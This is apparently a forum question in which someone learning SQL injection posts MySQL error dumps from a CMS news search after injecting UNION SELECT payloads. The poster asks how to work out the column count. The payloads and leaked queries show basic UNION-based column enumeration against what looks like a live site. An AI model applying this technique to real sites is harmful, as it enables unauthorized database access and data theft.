i'm trying to improve my skills and understanding of sql injection and defence from it.
the query takes two forms depending on what i'm trying to pass:
1)
SQL Error: The used SELECT statements have a different number of columns at /home/xxxxxxxx/www/system/models/additional_user_news.class.php line 215
Array
(
[code] => 1222
[message] => The used SELECT statements have a different number of columns
[query] => SELECT * FROM cms_news WHERE node_id=45 AND topic_id = 18 AND active='1' AND title LIKE '%' union select 1 # %' ORDER BY sort DESC, dateCreated DESC LIMIT 0,10
[context] => /home/xxxxxxxx/www/system/models/additional_user_news.class.php line 215
)
in the case i'm trying to pass ' union select 1 #
2)
SQL Error: The used SELECT statements have a different number of columns at /home/xxxxxxxx/www/system/models/additional_user_news.class.php line 197
Array
(
[code] => 1222
[message] => The used SELECT statements have a different number of columns
[query] => SELECT COUNT(id) as cnews FROM cms_news WHERE node_id = 45 AND topic_id=18 AND active='1' AND dateCreated<=1475703392
AND title LIKE '%' union select 1,2 #%'
LIMIT 0,1
[context] => /home/xxxxxxxx/www/system/models/additional_user_news.class.php line 197
)
if i'm trying to pass something like this: ' union select 1,2 #
I simpely don't understand why it gives me 2 different queries for different search tags. And how is it possible in this way to find right number of columns?